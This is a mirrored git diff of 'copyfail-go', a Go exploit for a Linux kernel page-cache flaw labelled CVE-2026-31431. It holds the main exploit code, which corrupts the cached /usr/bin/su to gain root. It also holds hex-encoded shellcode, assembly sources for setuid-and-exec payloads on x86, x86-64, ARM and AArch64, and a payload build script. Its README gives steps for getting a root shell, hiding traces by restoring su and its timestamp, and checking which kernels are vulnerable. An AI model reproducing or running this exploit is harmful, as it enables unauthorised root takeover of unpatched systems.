mirror of
https://github.com/badsectorlabs/copyfail-go.git
synced 2026-05-16 14:38:09 +00:00
Compare commits
No commits in common. "main" and "1.0.0" have entirely different histories.
14 changed files with 28 additions and 709 deletions
1
.gitignore
vendored
1
.gitignore
vendored
|
|
@ -1,3 +1,2 @@
|
||||||
copyfail
|
copyfail
|
||||||
.ansible
|
.ansible
|
||||||
dist
|
|
||||||
|
|
@ -4,21 +4,15 @@ before:
|
||||||
hooks:
|
hooks:
|
||||||
- go mod tidy
|
- go mod tidy
|
||||||
|
|
||||||
|
|
||||||
builds:
|
builds:
|
||||||
- env:
|
- env:
|
||||||
- CGO_ENABLED=0
|
- CGO_ENABLED=0
|
||||||
goos:
|
goos:
|
||||||
- linux
|
- linux
|
||||||
goarch:
|
|
||||||
- amd64
|
|
||||||
- "386"
|
|
||||||
- arm64
|
|
||||||
- arm
|
|
||||||
goarm:
|
|
||||||
- "7"
|
|
||||||
|
|
||||||
archives:
|
archives:
|
||||||
- formats: binary
|
- format: tar.gz
|
||||||
# this name template makes the OS and Arch compatible with the results of `uname`.
|
# this name template makes the OS and Arch compatible with the results of `uname`.
|
||||||
name_template: >-
|
name_template: >-
|
||||||
{{ .ProjectName }}_
|
{{ .ProjectName }}_
|
||||||
|
|
|
||||||
54
README.md
54
README.md
|
|
@ -5,57 +5,3 @@
|
||||||
A Go implementation of CVE-2026-31431. In case you need a static binary and no Python dependency.
|
A Go implementation of CVE-2026-31431. In case you need a static binary and no Python dependency.
|
||||||
|
|
||||||
See [copy.fail](https://copy.fail) for more info.
|
See [copy.fail](https://copy.fail) for more info.
|
||||||
|
|
||||||
## Interactive shell
|
|
||||||
|
|
||||||
```shell
|
|
||||||
# Get the binary to your Linux host with code execution (exercise for the reader)
|
|
||||||
user@host$ chmod +x copyfail-go
|
|
||||||
user@host$ ./copyfail-go --backup /tmp/su
|
|
||||||
root@host# cat /tmp/su > /usr/bin/su # Restore the original su binary
|
|
||||||
root@host# touch -r /tmp/su /usr/bin/su # Restore the modified time of the original su
|
|
||||||
root@host# rm /tmp/su
|
|
||||||
root@host# # Do things as root =)
|
|
||||||
```
|
|
||||||
|
|
||||||
## Run binary as root
|
|
||||||
|
|
||||||
Useful to elevate a program to root
|
|
||||||
|
|
||||||
```shell
|
|
||||||
# Get the binary to your Linux host with code execution (exercise for the reader)
|
|
||||||
user@host$ chmod +x copyfail-go
|
|
||||||
user@host$ ./copyfail-go --backup /tmp/su --exec ./your-binary
|
|
||||||
user@host$ # Use whatever you ran to restore su from /tmp/su
|
|
||||||
```
|
|
||||||
|
|
||||||
## Don't trust those hex blobs?
|
|
||||||
|
|
||||||
Compile the payloads yourself with `payloads/build-n-print.sh` on a Debian host (Debian 13 tested).
|
|
||||||
|
|
||||||
You'll need to `apt install nasm python3 binutils-aarch64-linux-gnu binutils-arm-linux-gnueabihf` then run the script from in the payloads directory. It will compile each payload and output the zlib compressed hex strings. Compare those to what is in `main.go` (or replace them with your own) and build the `copyfile-go` binaries with `goreleaser build --snapshot --clean` from the main project directory.
|
|
||||||
|
|
||||||
## Affected kernels (from [copy-fail-c](https://github.com/tgies/copy-fail-c/tree/main#affected-kernels))
|
|
||||||
|
|
||||||
```
|
|
||||||
floor: torvalds/linux 72548b093ee3 August 2017, v4.14
|
|
||||||
(AF_ALG iov_iter rework that
|
|
||||||
introduced the file-page write
|
|
||||||
primitive via splice into the AEAD
|
|
||||||
scatterlist)
|
|
||||||
|
|
||||||
ceiling: torvalds/linux a664bf3d603d April 2026, mainline
|
|
||||||
(reverts the 2017 algif_aead
|
|
||||||
in-place optimization; separates
|
|
||||||
source and destination scatterlists
|
|
||||||
so page-cache pages can no longer
|
|
||||||
be a writable crypto destination)
|
|
||||||
```
|
|
||||||
|
|
||||||
In between: every major distro kernel that didn't backport the fix.
|
|
||||||
Ubuntu, RHEL, SUSE, Amazon Linux, and Debian were all confirmed vulnerable
|
|
||||||
in their stock cloud-image kernels at disclosure time. Distro-level
|
|
||||||
backports started rolling out around 2026-04-29 alongside the public
|
|
||||||
disclosure. To verify whether a target kernel is in-window, check whether
|
|
||||||
`a664bf3d603d` (or its distro-specific backport) is present in the kernel's
|
|
||||||
git log or the distro's changelog.
|
|
||||||
|
|
|
||||||
146
main.go
146
main.go
|
|
@ -7,15 +7,12 @@ import (
|
||||||
"bytes"
|
"bytes"
|
||||||
"compress/zlib"
|
"compress/zlib"
|
||||||
"encoding/hex"
|
"encoding/hex"
|
||||||
"flag"
|
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
"log"
|
"log"
|
||||||
"os"
|
"os"
|
||||||
"os/exec"
|
"os/exec"
|
||||||
"runtime"
|
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
|
||||||
"unsafe"
|
"unsafe"
|
||||||
|
|
||||||
"golang.org/x/sys/unix"
|
"golang.org/x/sys/unix"
|
||||||
|
|
@ -31,22 +28,6 @@ const (
|
||||||
ALG_SET_AEAD_AUTHSIZE = 5
|
ALG_SET_AEAD_AUTHSIZE = 5
|
||||||
)
|
)
|
||||||
|
|
||||||
// See payloads/exec-bin-sh-* for the shellcode
|
|
||||||
var payloadsZlibHex = map[string]string{
|
|
||||||
"amd64": "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c00111d10d3",
|
|
||||||
"386": "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40b806c80461569098000383e101c3db1bae9e6d303c1090a1af5f9c91a19f9499d7f93820b8f361e7a10ddc4089db598c11671b0038b31858",
|
|
||||||
"arm64": "78daab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06ca5b039787e96cb8e421d47009c8bb0214126004f29980788534540cc4e686b0f59332f3f48b3318003ff61578",
|
|
||||||
"arm": "789cab77f57163646464800126060d06102f84c181c10426c8c2c06ac2a0c000538550ed00c61d40128459e1b20b1e8b172c780c64bc9760e87fc42000642b2c78cc0d1503c93342d9fa499979fac5190c00aca71742",
|
|
||||||
}
|
|
||||||
|
|
||||||
// See payloads/exec-argv1-* for the shellcode
|
|
||||||
var execArgv1ZlibHex = map[string]string{
|
|
||||||
"amd64": "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e02e5c1680601086578c0f0ff864c7e568fee1a1501c36f59d61133f9590dff67d944f0b3020082b00eaf",
|
|
||||||
"386": "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40381fc80461569098000383e101c3db1bae9e6de88e51e1303c99c51d31f36c83e1ed2cc688b30d001bf41180",
|
|
||||||
"arm64": "789cab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd04ca5b029787e96cb8e421d47009c8bbf280dbe1272390cf04c42ba4216220f915dc103600d72b1509",
|
|
||||||
"arm": "789cab77f57163646464800126060d06102f84c181c10426c8c2c06ac2a0c000538550ed00c60d40128459e1b20b1e8b172c780c64bce76098fb944100c85658f0981b2a06926784b201f6cc14c1",
|
|
||||||
}
|
|
||||||
|
|
||||||
// packCmsg constructs a raw Control Message (CMSG) buffer to be sent alongside the payload
|
// packCmsg constructs a raw Control Message (CMSG) buffer to be sent alongside the payload
|
||||||
func packCmsg(level, typ int, data []byte) []byte {
|
func packCmsg(level, typ int, data []byte) []byte {
|
||||||
cmsgSpace := unix.CmsgSpace(len(data))
|
cmsgSpace := unix.CmsgSpace(len(data))
|
||||||
|
|
@ -154,118 +135,39 @@ func decompressPayload(zlibBytes []byte) []byte {
|
||||||
return payload
|
return payload
|
||||||
}
|
}
|
||||||
|
|
||||||
// resolveSu returns the path to the su binary. It prefers /usr/bin/su when
|
func printHelp() {
|
||||||
// present; otherwise it walks PATH (via exec.LookPath, equivalent to which(1)).
|
prog := os.Args[0]
|
||||||
func resolveSu() (string, error) {
|
fmt.Fprintf(os.Stderr, "Usage: %s [-h|--help]\n\n", prog)
|
||||||
const fallback = "/usr/bin/su"
|
fmt.Fprintf(os.Stderr, "Go implementation of CVE-2026-31431 (copy-fail).\n")
|
||||||
if _, err := os.Stat(fallback); err == nil {
|
fmt.Fprintf(os.Stderr, "Overwrites page cache of /usr/bin/su and runs su.\n")
|
||||||
return fallback, nil
|
fmt.Fprintf(os.Stderr, "See https://copy.fail for for information.\n")
|
||||||
}
|
|
||||||
p, err := exec.LookPath("su")
|
|
||||||
if err != nil {
|
|
||||||
return "", fmt.Errorf("su not found in PATH and not at %s: %w", fallback, err)
|
|
||||||
}
|
|
||||||
return p, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// backupSuBinary copies src to dst before page-cache corruption. Preserves
|
|
||||||
// permission bits including setuid/setgid/sticky and access/modification times.
|
|
||||||
func backupSuBinary(src, dst string) error {
|
|
||||||
var meta unix.Stat_t
|
|
||||||
if err := unix.Stat(src, &meta); err != nil {
|
|
||||||
return fmt.Errorf("stat %s: %w", src, err)
|
|
||||||
}
|
|
||||||
// Cast these to int64 so we can compile for 32 bit architectures
|
|
||||||
atime := time.Unix(int64(meta.Atim.Sec), int64(meta.Atim.Nsec))
|
|
||||||
mtime := time.Unix(int64(meta.Mtim.Sec), int64(meta.Mtim.Nsec))
|
|
||||||
|
|
||||||
in, err := os.Open(src)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("open %s: %w", src, err)
|
|
||||||
}
|
|
||||||
defer in.Close()
|
|
||||||
|
|
||||||
fi, err := in.Stat()
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("fstat %s: %w", src, err)
|
|
||||||
}
|
|
||||||
|
|
||||||
const modeMask = os.ModePerm | os.ModeSetuid | os.ModeSetgid | os.ModeSticky
|
|
||||||
out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
|
|
||||||
if err != nil {
|
|
||||||
return fmt.Errorf("create %s: %w", dst, err)
|
|
||||||
}
|
|
||||||
defer out.Close()
|
|
||||||
|
|
||||||
if _, err := io.Copy(out, in); err != nil {
|
|
||||||
return fmt.Errorf("copy to %s: %w", dst, err)
|
|
||||||
}
|
|
||||||
if err := out.Sync(); err != nil {
|
|
||||||
return fmt.Errorf("sync %s: %w", dst, err)
|
|
||||||
}
|
|
||||||
if err := os.Chmod(dst, fi.Mode()&modeMask); err != nil {
|
|
||||||
return fmt.Errorf("chmod %s: %w", dst, err)
|
|
||||||
}
|
|
||||||
if err := os.Chtimes(dst, atime, mtime); err != nil {
|
|
||||||
return fmt.Errorf("chtimes %s: %w", dst, err)
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func main() {
|
func main() {
|
||||||
var suArgv1 string
|
for _, arg := range os.Args[1:] {
|
||||||
var useExecArgv1 bool
|
switch arg {
|
||||||
var backupPath string
|
case "-h", "--help", "-help":
|
||||||
flag.StringVar(&backupPath, "backup", "", "path to copy the su binary to before overwriting")
|
printHelp()
|
||||||
flag.Func("exec", "command to run as root; full path required", func(s string) error {
|
os.Exit(0)
|
||||||
useExecArgv1 = true
|
}
|
||||||
suArgv1 = s
|
|
||||||
return nil
|
|
||||||
})
|
|
||||||
flag.Usage = func() {
|
|
||||||
fmt.Fprintf(os.Stderr, "Usage of %s:\n", os.Args[0])
|
|
||||||
flag.PrintDefaults()
|
|
||||||
fmt.Fprintln(os.Stderr)
|
|
||||||
fmt.Fprintln(os.Stderr, "Go implementation of CVE-2026-31431 (copy-fail).")
|
|
||||||
fmt.Fprintln(os.Stderr, "Overwrites the page cache of su and runs su.")
|
|
||||||
fmt.Fprintln(os.Stderr, "See https://copy.fail for for information.")
|
|
||||||
}
|
}
|
||||||
flag.Parse()
|
|
||||||
|
|
||||||
var payloadHex string
|
var payload []byte
|
||||||
var ok bool
|
|
||||||
if useExecArgv1 {
|
// Original payload from https://github.com/theori-io/copy-fail-CVE-2026-31431
|
||||||
payloadHex, ok = execArgv1ZlibHex[runtime.GOARCH]
|
// A 160 byte linux ELF binary that:
|
||||||
if !ok {
|
// 1. Invokes the setuid(0) system call to set the user ID to root.
|
||||||
log.Fatalf("Unsupported architecture for -exec: %s", runtime.GOARCH)
|
// 2. Invokes the execve system call to execute /bin/sh.
|
||||||
}
|
// 3. Exits cleanly if the execution fails.
|
||||||
} else {
|
payloadHex := "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
|
||||||
// Pick payload for the running architecture
|
|
||||||
payloadHex, ok = payloadsZlibHex[runtime.GOARCH]
|
|
||||||
if !ok {
|
|
||||||
log.Fatalf("Unsupported architecture: %s", runtime.GOARCH)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
payloadZlib, err := hex.DecodeString(payloadHex)
|
payloadZlib, err := hex.DecodeString(payloadHex)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Fatalf("Invalid hex payload: %v", err)
|
log.Fatalf("Invalid hex payload: %v", err)
|
||||||
}
|
}
|
||||||
payload := decompressPayload(payloadZlib)
|
payload = decompressPayload(payloadZlib)
|
||||||
|
|
||||||
suPath, err := resolveSu()
|
|
||||||
if err != nil {
|
|
||||||
log.Fatalf("%v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if backupPath != "" {
|
|
||||||
if err := backupSuBinary(suPath, backupPath); err != nil {
|
|
||||||
log.Fatalf("Backup failed: %v", err)
|
|
||||||
}
|
|
||||||
log.Printf("Backed up %s to %s", suPath, backupPath)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Open target file in read-only mode
|
// Open target file in read-only mode
|
||||||
f, err := os.Open(suPath)
|
f, err := os.Open("/usr/bin/su")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Fatalf("Failed to open target file: %v", err)
|
log.Fatalf("Failed to open target file: %v", err)
|
||||||
}
|
}
|
||||||
|
|
@ -294,11 +196,7 @@ func main() {
|
||||||
// Execute the now-overwritten binary to trigger privilege escalation
|
// Execute the now-overwritten binary to trigger privilege escalation
|
||||||
log.Println("Executing payload")
|
log.Println("Executing payload")
|
||||||
var cmd *exec.Cmd
|
var cmd *exec.Cmd
|
||||||
if useExecArgv1 {
|
|
||||||
cmd = exec.Command("su", suArgv1)
|
|
||||||
} else {
|
|
||||||
cmd = exec.Command("su")
|
cmd = exec.Command("su")
|
||||||
}
|
|
||||||
cmd.Stdin = os.Stdin
|
cmd.Stdin = os.Stdin
|
||||||
cmd.Stdout = os.Stdout
|
cmd.Stdout = os.Stdout
|
||||||
cmd.Stderr = os.Stderr
|
cmd.Stderr = os.Stderr
|
||||||
|
|
|
||||||
|
|
@ -1,19 +0,0 @@
|
||||||
These are the assembly and binary payloads embedded in copyfail-go
|
|
||||||
|
|
||||||
## Scripted
|
|
||||||
|
|
||||||
Just run `build-n-print.sh`
|
|
||||||
|
|
||||||
## Manual
|
|
||||||
|
|
||||||
To build the asm run
|
|
||||||
|
|
||||||
```shell
|
|
||||||
nasm -f bin {{ payload }}.asm -o {{ payload }}
|
|
||||||
```
|
|
||||||
|
|
||||||
To format the binary into the hex for copyfail-go, run
|
|
||||||
|
|
||||||
```shell
|
|
||||||
cat {{ payload }} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())'
|
|
||||||
```
|
|
||||||
|
|
@ -1,53 +0,0 @@
|
||||||
#!/bin/bash
|
|
||||||
|
|
||||||
# Check for nasm
|
|
||||||
if ! command -v nasm &> /dev/null; then
|
|
||||||
echo "[!] nasm could not be found. Please install it."
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
# Check for python3
|
|
||||||
if ! command -v python3 &> /dev/null; then
|
|
||||||
echo "[!] python3 could not be found. Please install it."
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
for payload in *.asm; do
|
|
||||||
echo "[+] Building $payload"
|
|
||||||
nasm -f bin $payload -o ${payload%.asm}
|
|
||||||
echo "[+] Printing $payload as hex"
|
|
||||||
cat ${payload%.asm} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())'
|
|
||||||
done
|
|
||||||
|
|
||||||
# Check for aarch64-linux-gnu-as
|
|
||||||
if ! command -v aarch64-linux-gnu-as &> /dev/null; then
|
|
||||||
echo "[!] aarch64-linux-gnu-as could not be found. Please install binutils-aarch64-linux-gnu"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
for payload in *aarch64.S; do
|
|
||||||
# Assemble the source into an object file
|
|
||||||
echo "[+] Building $payload"
|
|
||||||
aarch64-linux-gnu-as $payload -o ${payload%.S}.o
|
|
||||||
# Extract ONLY the raw bytes into a flat binary file
|
|
||||||
echo "[+] Extracting $payload as binary"
|
|
||||||
aarch64-linux-gnu-objcopy -O binary ${payload%.S}.o ${payload%.S}
|
|
||||||
echo "[+] Printing $payload as hex"
|
|
||||||
cat ${payload%.S} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())'
|
|
||||||
done
|
|
||||||
|
|
||||||
if ! command -v arm-linux-gnueabihf-as &> /dev/null; then
|
|
||||||
echo "[!] arm-linux-gnueabihf-as could not be found. Please install binutils-arm-linux-gnueabihf"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
for payload in *armv7l.S; do
|
|
||||||
# Assemble the source into an object file
|
|
||||||
echo "[+] Building $payload"
|
|
||||||
arm-linux-gnueabihf-as $payload -o ${payload%.S}.o
|
|
||||||
# Extract ONLY the raw bytes into a flat binary file
|
|
||||||
echo "[+] Extracting $payload as binary"
|
|
||||||
arm-linux-gnueabihf-objcopy -O binary ${payload%.S}.o ${payload%.S}
|
|
||||||
echo "[+] Printing $payload as hex"
|
|
||||||
cat ${payload%.S} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())'
|
|
||||||
done
|
|
||||||
|
|
@ -1,53 +0,0 @@
|
||||||
.section .text
|
|
||||||
.globl _start
|
|
||||||
|
|
||||||
// --- 64-bit ELF Header ---
|
|
||||||
ehdr:
|
|
||||||
.byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF"
|
|
||||||
.byte 2, 1, 1, 0 // 64-bit, little-endian, version 1
|
|
||||||
.byte 0, 0, 0, 0, 0, 0, 0, 0
|
|
||||||
.short 2 // e_type: Executable
|
|
||||||
.short 183 // e_machine: AArch64 (0xB7)
|
|
||||||
.int 1 // e_version
|
|
||||||
.quad 0x400078 // e_entry (0x400000 + 0x78)
|
|
||||||
.quad 0x40 // e_phoff (Program Header offset)
|
|
||||||
.quad 0 // e_shoff
|
|
||||||
.int 0 // e_flags
|
|
||||||
.short 64 // e_ehsize
|
|
||||||
.short 56 // e_phentsize
|
|
||||||
.short 1 // e_phnum
|
|
||||||
.short 0 // e_shentsize
|
|
||||||
.short 0 // e_shnum
|
|
||||||
.short 0 // e_shstrndx
|
|
||||||
|
|
||||||
// --- Program Header (PT_LOAD) ---
|
|
||||||
phdr:
|
|
||||||
.int 1 // p_type: PT_LOAD
|
|
||||||
.int 5 // p_flags: PF_R | PF_X
|
|
||||||
.quad 0 // p_offset
|
|
||||||
.quad 0x400000 // p_vaddr
|
|
||||||
.quad 0x400000 // p_paddr
|
|
||||||
.quad file_end - ehdr // p_filesz
|
|
||||||
.quad file_end - ehdr // p_memsz
|
|
||||||
.quad 0x10000 // p_align
|
|
||||||
|
|
||||||
// --- Payload ---
|
|
||||||
_start:
|
|
||||||
// setuid(0)
|
|
||||||
mov x0, #0
|
|
||||||
mov x8, #146 // SYS_setuid
|
|
||||||
svc #0
|
|
||||||
|
|
||||||
// execve(argv[1], NULL, NULL)
|
|
||||||
ldr x0, [sp, #16] // x0 = argv[1]
|
|
||||||
mov x1, #0 // x1 = NULL
|
|
||||||
mov x2, #0 // x2 = NULL
|
|
||||||
mov x8, #221 // SYS_execve
|
|
||||||
svc #0
|
|
||||||
|
|
||||||
// exit(0)
|
|
||||||
mov x0, #0
|
|
||||||
mov x8, #93 // SYS_exit
|
|
||||||
svc #0
|
|
||||||
|
|
||||||
file_end:
|
|
||||||
|
|
@ -1,54 +0,0 @@
|
||||||
BITS 64
|
|
||||||
org 0x400000
|
|
||||||
|
|
||||||
; --- 64-bit ELF Header ---
|
|
||||||
ehdr:
|
|
||||||
db 0x7F, "ELF", 2, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0
|
|
||||||
dw 2 ; e_type: Executable
|
|
||||||
dw 0x3e ; e_machine: x86-64
|
|
||||||
dd 1 ; e_version
|
|
||||||
dq _start ; e_entry
|
|
||||||
dq phdr - ehdr ; e_phoff (offset to program header)
|
|
||||||
dq 0 ; e_shoff
|
|
||||||
dd 0 ; e_flags
|
|
||||||
dw 64 ; e_ehsize (ELF header size)
|
|
||||||
dw 56 ; e_phentsize (Program header size)
|
|
||||||
dw 1 ; e_phnum (Number of program headers)
|
|
||||||
dw 0 ; e_shentsize
|
|
||||||
dw 0 ; e_shnum
|
|
||||||
dw 0 ; e_shstrndx
|
|
||||||
|
|
||||||
; --- Program Header (PT_LOAD) ---
|
|
||||||
phdr:
|
|
||||||
dd 1 ; p_type: PT_LOAD
|
|
||||||
dd 5 ; p_flags: PF_R | PF_X (Read + Execute)
|
|
||||||
dq 0 ; p_offset
|
|
||||||
dq 0x400000 ; p_vaddr
|
|
||||||
dq 0x400000 ; p_paddr
|
|
||||||
dq file_end - ehdr ; p_filesz
|
|
||||||
dq file_end - ehdr ; p_memsz
|
|
||||||
dq 0x1000 ; p_align
|
|
||||||
|
|
||||||
; --- Payload ---
|
|
||||||
_start:
|
|
||||||
; setuid(0)
|
|
||||||
xor eax, eax
|
|
||||||
xor edi, edi
|
|
||||||
mov al, 0x69
|
|
||||||
syscall
|
|
||||||
|
|
||||||
; execve(argv[1], NULL, NULL)
|
|
||||||
mov rdi,[rsp+0x10]
|
|
||||||
xor esi, esi
|
|
||||||
push 0x3b
|
|
||||||
pop rax
|
|
||||||
cdq
|
|
||||||
syscall
|
|
||||||
|
|
||||||
; exit(0)
|
|
||||||
xor edi, edi
|
|
||||||
push 0x3c
|
|
||||||
pop rax
|
|
||||||
syscall
|
|
||||||
|
|
||||||
file_end:
|
|
||||||
|
|
@ -1,53 +0,0 @@
|
||||||
.section .text
|
|
||||||
.globl _start
|
|
||||||
|
|
||||||
// --- 32-bit ELF Header (52 bytes) ---
|
|
||||||
ehdr:
|
|
||||||
.byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF"
|
|
||||||
.byte 1, 1, 1, 0 // 32-bit, little-endian, version 1
|
|
||||||
.byte 0, 0, 0, 0, 0, 0, 0, 0
|
|
||||||
.short 2 // e_type: Executable
|
|
||||||
.short 40 // e_machine: ARM (0x28)
|
|
||||||
.int 1 // e_version
|
|
||||||
.int 0x400054 // e_entry (0x400000 + 0x34 + 0x20)
|
|
||||||
.int 0x34 // e_phoff (Program Header offset = 52)
|
|
||||||
.int 0 // e_shoff
|
|
||||||
.int 0x5000400 // e_flags: EF_ARM_EABI_VER5 | EF_ARM_VFP_FLOAT
|
|
||||||
.short 52 // e_ehsize
|
|
||||||
.short 32 // e_phentsize
|
|
||||||
.short 1 // e_phnum
|
|
||||||
.short 0 // e_shentsize
|
|
||||||
.short 0 // e_shnum
|
|
||||||
.short 0 // e_shstrndx
|
|
||||||
|
|
||||||
// --- Program Header (PT_LOAD, 32 bytes) ---
|
|
||||||
phdr:
|
|
||||||
.int 1 // p_type: PT_LOAD
|
|
||||||
.int 0 // p_offset
|
|
||||||
.int 0x400000 // p_vaddr
|
|
||||||
.int 0x400000 // p_paddr
|
|
||||||
.int file_end - ehdr // p_filesz
|
|
||||||
.int file_end - ehdr // p_memsz
|
|
||||||
.int 5 // p_flags: PF_R | PF_X
|
|
||||||
.int 0x10000 // p_align
|
|
||||||
|
|
||||||
// --- Payload ---
|
|
||||||
_start:
|
|
||||||
// setuid(0)
|
|
||||||
mov r0, #0
|
|
||||||
mov r7, #23 // SYS_setuid
|
|
||||||
svc #0
|
|
||||||
|
|
||||||
// execve(argv[1], NULL, NULL)
|
|
||||||
ldr r0, [sp, #8] // r0 = argv[1] (skip argc + argv[0], 4 bytes each)
|
|
||||||
mov r1, #0 // r1 = NULL
|
|
||||||
mov r2, #0 // r2 = NULL
|
|
||||||
mov r7, #11 // SYS_execve
|
|
||||||
svc #0
|
|
||||||
|
|
||||||
// exit(0)
|
|
||||||
mov r0, #0
|
|
||||||
mov r7, #1 // SYS_exit
|
|
||||||
svc #0
|
|
||||||
|
|
||||||
file_end:
|
|
||||||
|
|
@ -1,59 +0,0 @@
|
||||||
BITS 32
|
|
||||||
org 0x08048000
|
|
||||||
|
|
||||||
; --- 32-bit ELF Header ---
|
|
||||||
ehdr:
|
|
||||||
db 0x7F, "ELF" ; e_ident
|
|
||||||
db 1 ; EI_CLASS (1 = 32-bit)
|
|
||||||
db 1 ; EI_DATA (1 = little endian)
|
|
||||||
db 1 ; EI_VERSION
|
|
||||||
db 0 ; EI_OSABI
|
|
||||||
db 0, 0, 0, 0, 0, 0, 0, 0
|
|
||||||
dw 2 ; e_type: Executable
|
|
||||||
dw 3 ; e_machine: EM_386 (x86)
|
|
||||||
dd 1 ; e_version
|
|
||||||
dd _start ; e_entry
|
|
||||||
dd phdr - ehdr ; e_phoff (offset to program header)
|
|
||||||
dd 0 ; e_shoff
|
|
||||||
dd 0 ; e_flags
|
|
||||||
dw 52 ; e_ehsize (32-bit ELF header size)
|
|
||||||
dw 32 ; e_phentsize (32-bit Program header size)
|
|
||||||
dw 1 ; e_phnum (Number of program headers)
|
|
||||||
dw 0 ; e_shentsize
|
|
||||||
dw 0 ; e_shnum
|
|
||||||
dw 0 ; e_shstrndx
|
|
||||||
|
|
||||||
; --- Program Header (PT_LOAD) ---
|
|
||||||
phdr:
|
|
||||||
dd 1 ; p_type: PT_LOAD
|
|
||||||
dd 0 ; p_offset
|
|
||||||
dd 0x08048000 ; p_vaddr
|
|
||||||
dd 0x08048000 ; p_paddr
|
|
||||||
dd file_end - ehdr ; p_filesz
|
|
||||||
dd file_end - ehdr ; p_memsz
|
|
||||||
dd 5 ; p_flags: PF_R | PF_X (Read + Execute)
|
|
||||||
dd 0x1000 ; p_align
|
|
||||||
|
|
||||||
; --- Payload ---
|
|
||||||
_start:
|
|
||||||
; setuid32(0)
|
|
||||||
xor eax, eax
|
|
||||||
xor ebx, ebx ; ebx = 0 (UID)
|
|
||||||
mov al, 213 ; sys_setuid32 (213)
|
|
||||||
int 0x80
|
|
||||||
|
|
||||||
; execve(argv[1], NULL, NULL)
|
|
||||||
mov ebx, [esp+8] ; ebx = argv[1] (pointers are 4 bytes, so[esp+8])
|
|
||||||
xor ecx, ecx ; ecx = NULL
|
|
||||||
push 11 ; sys_execve (11)
|
|
||||||
pop eax
|
|
||||||
cdq ; edx = 0 (sign-extends eax into edx)
|
|
||||||
int 0x80
|
|
||||||
|
|
||||||
; exit(0)
|
|
||||||
xor ebx, ebx ; Exit code 0
|
|
||||||
push 1 ; sys_exit (1)
|
|
||||||
pop eax
|
|
||||||
int 0x80
|
|
||||||
|
|
||||||
file_end:
|
|
||||||
|
|
@ -1,54 +0,0 @@
|
||||||
.section .text
|
|
||||||
.globl _start
|
|
||||||
|
|
||||||
// --- 64-bit ELF Header (64 bytes) ---
|
|
||||||
ehdr:
|
|
||||||
.byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF"
|
|
||||||
.byte 2, 1, 1, 0 // 64-bit, little-endian, version 1
|
|
||||||
.byte 0, 0, 0, 0, 0, 0, 0, 0
|
|
||||||
.short 2 // e_type: Executable
|
|
||||||
.short 183 // e_machine: AArch64 (0xB7)
|
|
||||||
.int 1 // e_version
|
|
||||||
.quad 0x400078 // e_entry (0x400000 + 0x78)
|
|
||||||
.quad 0x40 // e_phoff (Program Header offset)
|
|
||||||
.quad 0 // e_shoff
|
|
||||||
.int 0 // e_flags
|
|
||||||
.short 64 // e_ehsize
|
|
||||||
.short 56 // e_phentsize
|
|
||||||
.short 1 // e_phnum
|
|
||||||
.short 0 // e_shentsize
|
|
||||||
.short 0 // e_shnum
|
|
||||||
.short 0 // e_shstrndx
|
|
||||||
|
|
||||||
// --- Program Header (PT_LOAD, 56 bytes) ---
|
|
||||||
phdr:
|
|
||||||
.int 1 // p_type: PT_LOAD
|
|
||||||
.int 5 // p_flags: PF_R | PF_X
|
|
||||||
.quad 0 // p_offset
|
|
||||||
.quad 0x400000 // p_vaddr
|
|
||||||
.quad 0x400000 // p_paddr
|
|
||||||
.quad file_end - ehdr // p_filesz
|
|
||||||
.quad file_end - ehdr // p_memsz
|
|
||||||
.quad 0x10000 // p_align
|
|
||||||
|
|
||||||
// --- Payload (52 bytes) ---
|
|
||||||
_start:
|
|
||||||
mov x0, #0
|
|
||||||
mov x8, #146 // SYS_setuid
|
|
||||||
svc #0
|
|
||||||
|
|
||||||
adr x0, sh // PC-relative load of the "sh" label
|
|
||||||
|
|
||||||
mov x1, #0
|
|
||||||
mov x2, #0
|
|
||||||
mov x8, #221 // SYS_execve
|
|
||||||
svc #0
|
|
||||||
|
|
||||||
mov x0, #0
|
|
||||||
mov x8, #93 // SYS_exit
|
|
||||||
svc #0
|
|
||||||
|
|
||||||
sh:
|
|
||||||
.asciz "/bin/sh" // 8 bytes (includes null terminator)
|
|
||||||
|
|
||||||
file_end:
|
|
||||||
|
|
@ -1,56 +0,0 @@
|
||||||
BITS 64
|
|
||||||
org 0x400000
|
|
||||||
|
|
||||||
; --- 64-bit ELF Header ---
|
|
||||||
ehdr:
|
|
||||||
